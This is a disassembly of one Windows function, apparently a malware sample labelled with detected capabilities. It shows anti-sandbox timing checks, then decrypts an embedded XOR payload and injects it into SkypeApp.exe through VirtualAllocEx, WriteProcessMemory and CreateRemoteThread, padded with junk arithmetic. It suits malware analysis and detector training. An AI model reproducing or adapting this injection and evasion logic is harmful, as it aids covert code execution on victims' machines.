Function at 0x2fed01d34
Capabilities:
Create thread
Encode data using base64
Enumerate processes
Inject thread
Link many functions at runtime

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x628
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x590], xmm6
mov qword [rbp + 0x5d0], rcx
mov dword [rbp + 0x5d8], edx
mov qword [rbp + 0x5e0], r8
mov dword [rbp + 0x510], 1
cmp dword [rbp + 0x5d8], 1
jne 0x2fed02ebe
mov ecx, 0x4ca
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x4ca
jne 0x2fed02ebe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x508], rax
mov rax, qword [rbp + 0x508]
mov ecx, 0
call rax
mov dword [rbp + 0x504], eax
cmp dword [rbp + 0x504], 0xffffffff
je 0x2fed02ebe
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4f8], rax
mov rax, qword [rbp + 0x4f8]
mov ecx, 0
call rax
mov dword [rbp + 0x4f4], eax
cmp dword [rbp + 0x4f4], 0xffffffff
je 0x2fed02ebe
mov dword [rbp + 0x4f0], 0x26a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4e8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4e0], rax
mov rax, qword [rbp + 0x4e0]
call rax
mov dword [rbp + 0x4dc], eax
mov eax, dword [rbp + 0x4f0]
mov r8, qword [rbp + 0x4e8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x4e0]
call rax
mov dword [rbp + 0x4d8], eax
mov eax, dword [rbp + 0x4d8]
sub eax, dword [rbp + 0x4dc]
cmp eax, 0x238
jbe 0x2fed02ebe
mov dword [rbp + 0x4d4], 0x3a8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4c8], rax
mov rax, qword [rbp + 0x4c8]
call rax
mov dword [rbp + 0x4c4], eax
mov eax, dword [rbp + 0x4d4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x4c8]
call rax
mov dword [rbp + 0x4c0], eax
mov eax, dword [rbp + 0x4c0]
sub eax, dword [rbp + 0x4c4]
cmp eax, 0x376
jbe 0x2fed02ebe
mov dword [rbp + 0x588], 0
mov dword [rbp + 0x4bc], 0
mov ecx, 0x108
call sym.malloc
mov qword [rbp + 0x4b0], rax
mov dword [rbp + 0x58c], 0
jmp 0x2fed02038
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x58c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x4b0]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x58c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x4b0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x588], eax
add dword [rbp + 0x58c], 1
cmp dword [rbp + 0x58c], 0x41
jle 0x2fed01fbc
mov rax, qword [rbp + 0x4b0]
mov rcx, rax
call sym.free
lea rax, [rbp + 0x1f0]
lea rdx, [0x2fed0b040]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0xc0], 0x130
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x4a8], rax
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x4a8]
mov rcx, rax
call sym.Process32First
cmp eax, 1
jne 0x2fed02ebe
jmp 0x2fed02e9f
mov dword [rbp + 0x584], 0xffffffff
add dword [rbp + 0x584], 1
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x4a4], eax
mov ecx, dword [rbp + 0x4a4]
mov eax, ecx
shl eax, 2
add eax, ecx
shl eax, 2
sub edx, eax
mov dword [rbp + 0x4a4], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x2fed0b240]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x4a4]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x498], rax
cmp dword [rbp + 0x584], 0x2b
jle 0x2fed020e3
lea rax, [rbp + 0xc0]
add rax, 0x2c
lea rdx, str.SkypeApp.exe
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2fed02e9f
mov ecx, 0x180
call sym.malloc
mov qword [rbp + 0x490], rax
mov dword [rbp + 0x57c], 0
mov dword [rbp + 0x48c], 0
mov dword [rbp + 0x580], 0
jmp 0x2fed0220d
call sym.rand
mov edx, dword [rbp + 0x580]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x490]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x580], 1
cmp dword [rbp + 0x580], 0x5f
jle 0x2fed021c1
mov dword [rbp + 0x580], 0
jmp 0x2fed0224b
mov eax, dword [rbp + 0x580]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x490]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x57c], eax
add dword [rbp + 0x580], 1
cmp dword [rbp + 0x580], 0x5f
jle 0x2fed02222
mov rax, qword [rbp + 0x490]
mov rcx, rax
call sym.free
mov eax, dword [rbp + 0xc8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x480], rax
mov dword [rbp + 0x574], 1
jmp 0x2fed02342
mov dword [rbp + 0x578], 0
mov eax, dword [rbp + 0x574]
mov dword [rbp + 0x570], eax
jmp 0x2fed02318
mov edx, dword [rbp + 0x570]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x3f4], edx
mov eax, dword [rbp + 0x3f4]
imul eax, eax
imul eax, dword [rbp + 0x3f4]
add dword [rbp + 0x578], eax
mov eax, dword [rbp + 0x570]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x570], eax
cmp dword [rbp + 0x570], 0
jne 0x2fed022ad
mov eax, dword [rbp + 0x578]
cmp eax, dword [rbp + 0x574]
jne 0x2fed0233b
mov eax, dword [rbp + 0x574]
mov dword [rbp + 0x3f8], eax
add dword [rbp + 0x574], 1
cmp dword [rbp + 0x574], 0x15
jle 0x2fed02295
cmp qword [rbp + 0x480], 0
je 0x2fed02d93
mov dword [rbp + 0x56c], 0xffffffff
add dword [rbp + 0x56c], 1
call sym.rand
imul eax, eax, 0x273
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x2fed0b240]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x478], rax
cmp dword [rbp + 0x56c], 0xc
jle 0x2fed02367
mov rax, qword [rbp + 0x480]
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x1fe
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x470], rax
mov dword [rbp + 0x568], 0
mov dword [rbp + 0x564], 1
mov dword [rbp + 0x560], 0
mov dword [rbp + 0x46c], 0x3c
jmp 0x2fed02441
mov edx, dword [rbp + 0x568]
mov eax, dword [rbp + 0x564]
add eax, edx
mov dword [rbp + 0x3fc], eax
add dword [rbp + 0x560], 1
mov eax, dword [rbp + 0x564]
mov dword [rbp + 0x568], eax
mov eax, dword [rbp + 0x3fc]
mov dword [rbp + 0x564], eax
mov eax, dword [rbp + 0x560]
cmp eax, dword [rbp + 0x46c]
jl 0x2fed0240e
mov dword [rbp + 0x55c], 0
mov dword [rbp + 0x558], 0
mov dword [rbp + 0x554], 0
movabs rax, 0xc25e369e32fc92
movabs rdx, 0x5f4f66598c21e0e0
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x2e5ba9164e7136ef
movabs rdx, 0x673587e06fbccfc1
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xc1b44342abf49b47
movabs rdx, 0xc24afb211b2bb0a6
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x1a9c7d9ee4163d31
movabs rdx, 0x1f7ab1a61803c7b7
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xb2c81e2230199795
movabs rdx, 0x777304b5c9ed8fe
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x69a80777304b5c9e
movabs rdx, 0xebff5e7b3f573a
mov qword [rbp + 0xaa], rax
mov qword [rbp + 0xb2], rdx
movabs rax, 0xe7b3b8674a9e12b1
movabs rdx, 0xcf49eb581aea4abe
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xb1e7463bfdb44711
movabs rdx, 0x56a2527579c3d791
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xc71bf952f9d1646f
movabs rdx, 0xa8a9184b39964b60
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x35dc408d5da8a9
mov qword [rbp - 0x12], rax
jmp 0x2fed02870
cmp dword [rbp + 0x558], 0x34
jne 0x2fed02732
mov ecx, 0x140
call sym.malloc
mov qword [rbp + 0x408], rax
mov dword [rbp + 0x550], 0
jmp 0x2fed025fc
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x550]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x408]
add rax, rdx
movsd xmm1, qword [0x2fed0b240]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x550], 1
cmp dword [rbp + 0x550], 0x27
jle 0x2fed025be
mov dword [rbp + 0x550], 0
jmp 0x2fed02696
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x550]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x408]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x550]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x408]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x550], 1
cmp dword [rbp + 0x550], 0x27
jle 0x2fed02614
mov eax, dword [rbp + 0x55c]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x558]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x55c]
cdqe
mov byte [rbp + rax], dl
mov dword [rbp + 0x54c], 0xffffffff
add dword [rbp + 0x54c], 1
call sym.rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x2fed0b240]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x400], rax
cmp dword [rbp + 0x54c], 0x53
jle 0x2fed026d5
mov dword [rbp + 0x558], 0
jmp 0x2fed02869
mov eax, dword [rbp + 0x55c]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x558]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x55c]
cdqe
mov byte [rbp + rax], dl
mov ecx, 0xd8
call sym.malloc
mov qword [rbp + 0x418], rax
mov ecx, 0xd8
call sym.malloc
mov qword [rbp + 0x410], rax
mov dword [rbp + 0x544], 0x35
mov dword [rbp + 0x548], 0
jmp 0x2fed027df
call sym.rand
mov edx, dword [rbp + 0x548]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x418]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x548], 1
cmp dword [rbp + 0x548], 0x35
jle 0x2fed02792
mov dword [rbp + 0x548], 0
jmp 0x2fed0283b
mov eax, dword [rbp + 0x544]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x418]
add rax, rdx
mov edx, dword [rbp + 0x548]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x410]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x544], 1
add dword [rbp + 0x548], 1
cmp dword [rbp + 0x548], 0x35
jle 0x2fed027f4
mov rax, qword [rbp + 0x418]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x410]
mov rcx, rax
call sym.free
add dword [rbp + 0x558], 1
add dword [rbp + 0x55c], 1
mov eax, dword [rbp + 0x55c]
cmp eax, 0x58
jbe 0x2fed02594
mov dword [rbp + 0x55c], 0
mov ecx, 0xa0
call sym.malloc
mov qword [rbp + 0x460], rax
mov ecx, 0xa0
call sym.malloc
mov qword [rbp + 0x458], rax
mov dword [rbp + 0x53c], 0x27
mov dword [rbp + 0x540], 0
jmp 0x2fed02951
call sym.rand
mov edx, dword [rbp + 0x540]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x460]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x53c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x460]
add rax, rdx
mov edx, dword [rbp + 0x540]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x458]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x53c], 1
add dword [rbp + 0x540], 1
cmp dword [rbp + 0x540], 0x27
jle 0x2fed028c4
mov rax, qword [rbp + 0x460]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x458]
mov rcx, rax
call sym.free
jmp 0x2fed02ac3
mov qword [rbp + 0x530], 0
mov dword [rbp + 0x538], 0x35
jmp 0x2fed029ae
mov eax, dword [rbp + 0x538]
cdqe
add qword [rbp + 0x530], rax
sub dword [rbp + 0x538], 1
cmp dword [rbp + 0x538], 0
jg 0x2fed02998
cmp dword [rbp + 0x554], 0x58
jne 0x2fed029fd
mov eax, dword [rbp + 0x55c]
cdqe
movzx edx, byte [rbp + rax + 0x1f0]
mov eax, dword [rbp + 0x554]
cdqe
movzx eax, byte [rbp + rax]
xor edx, eax
mov eax, dword [rbp + 0x55c]
cdqe
mov byte [rbp + rax + 0x1f0], dl
mov dword [rbp + 0x554], 0
jmp 0x2fed02abc
mov eax, dword [rbp + 0x55c]
cdqe
movzx edx, byte [rbp + rax + 0x1f0]
mov eax, dword [rbp + 0x554]
cdqe
movzx eax, byte [rbp + rax]
xor edx, eax
mov eax, dword [rbp + 0x55c]
cdqe
mov byte [rbp + rax + 0x1f0], dl
mov dword [rbp + 0x52c], 0xffffffff
add dword [rbp + 0x52c], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x42c], edx
mov edx, dword [rbp + 0x42c]
imul edx, edx, 0x1c
sub eax, edx
mov dword [rbp + 0x42c], eax
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x2fed0b240]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x42c]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x420], rax
cmp dword [rbp + 0x52c], 0x54
jle 0x2fed02a35
add dword [rbp + 0x554], 1
add dword [rbp + 0x55c], 1
cmp dword [rbp + 0x55c], 0x1fd
jle 0x2fed02981
lea rcx, [rbp + 0x1f0]
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x480]
mov qword [rsp + 0x20], 0
mov r9d, 0x1fe
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x528], 0xffffffff
add dword [rbp + 0x528], 1
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x454], eax
mov ecx, dword [rbp + 0x454]
mov eax, ecx
shl eax, 2
add eax, ecx
lea ecx, [rax*4]
add eax, ecx
sub edx, eax
mov dword [rbp + 0x454], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x2fed0b240]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x454]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x448], rax
cmp dword [rbp + 0x528], 0x41
jle 0x2fed02b10
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x480]
lea rcx, [rbp + 0x3f0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov r8d, 0x1fe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call rax
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x480]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x440], rax
mov rax, qword [rbp + 0x440]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x4a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x1f0
call sym.malloc
mov qword [rbp + 0x438], rax
mov ecx, 0x1f0
call sym.malloc
mov qword [rbp + 0x430], rax
mov dword [rbp + 0x524], 0
jmp 0x2fed02d02
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x524]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x438]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x524], 1
cmp dword [rbp + 0x524], 0x3d
jle 0x2fed02c78
mov dword [rbp + 0x524], 0
jmp 0x2fed02d6d
mov eax, dword [rbp + 0x524]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x438]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x524]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x430]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x524], 1
cmp dword [rbp + 0x524], 0x3d
jle 0x2fed02d1b
mov rax, qword [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x2fed02ec4
mov dword [rbp + 0x520], 0xa
mov dword [rbp + 0x51c], 0x14
mov dword [rbp + 0x518], 0x50
mov dword [rbp + 0x514], 0x3c
jmp 0x2fed02e7f
mov eax, dword [rbp + 0x518]
cmp eax, dword [rbp + 0x514]
jle 0x2fed02e1c
mov eax, dword [rbp + 0x518]
cmp eax, dword [rbp + 0x520]
jle 0x2fed02dfc
mov eax, dword [rbp + 0x518]
cmp eax, dword [rbp + 0x51c]
jle 0x2fed02df3
sub dword [rbp + 0x518], 1
jmp 0x2fed02e68
sub dword [rbp + 0x51c], 1
jmp 0x2fed02e68
mov eax, dword [rbp + 0x520]
cmp eax, dword [rbp + 0x51c]
jle 0x2fed02e13
sub dword [rbp + 0x520], 1
jmp 0x2fed02e68
sub dword [rbp + 0x51c], 1
jmp 0x2fed02e68
mov eax, dword [rbp + 0x514]
cmp eax, dword [rbp + 0x520]
jle 0x2fed02e4a
mov eax, dword [rbp + 0x514]
cmp eax, dword [rbp + 0x51c]
jle 0x2fed02e41
sub dword [rbp + 0x514], 1
jmp 0x2fed02e68
sub dword [rbp + 0x51c], 1
jmp 0x2fed02e68
mov eax, dword [rbp + 0x520]
cmp eax, dword [rbp + 0x51c]
jle 0x2fed02e61
sub dword [rbp + 0x520], 1
jmp 0x2fed02e68
sub dword [rbp + 0x51c], 1
mov eax, dword [rbp + 0x518]
mov edx, eax
lea rax, [0x2fed0b038]
mov rcx, rax
call sym.printf
cmp dword [rbp + 0x518], 0
jg 0x2fed02dc0
mov rax, qword [rbp + 0x4a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x4a8]
mov rcx, rax
call sym.Process32Next
cmp eax, 1
je 0x2fed020d9
mov eax, dword [rbp + 0x510]
movups xmm6, xmmword [rbp + 0x590]
add rsp, 0x628
pop rbx
pop rsi
pop rdi
pop rbp
ret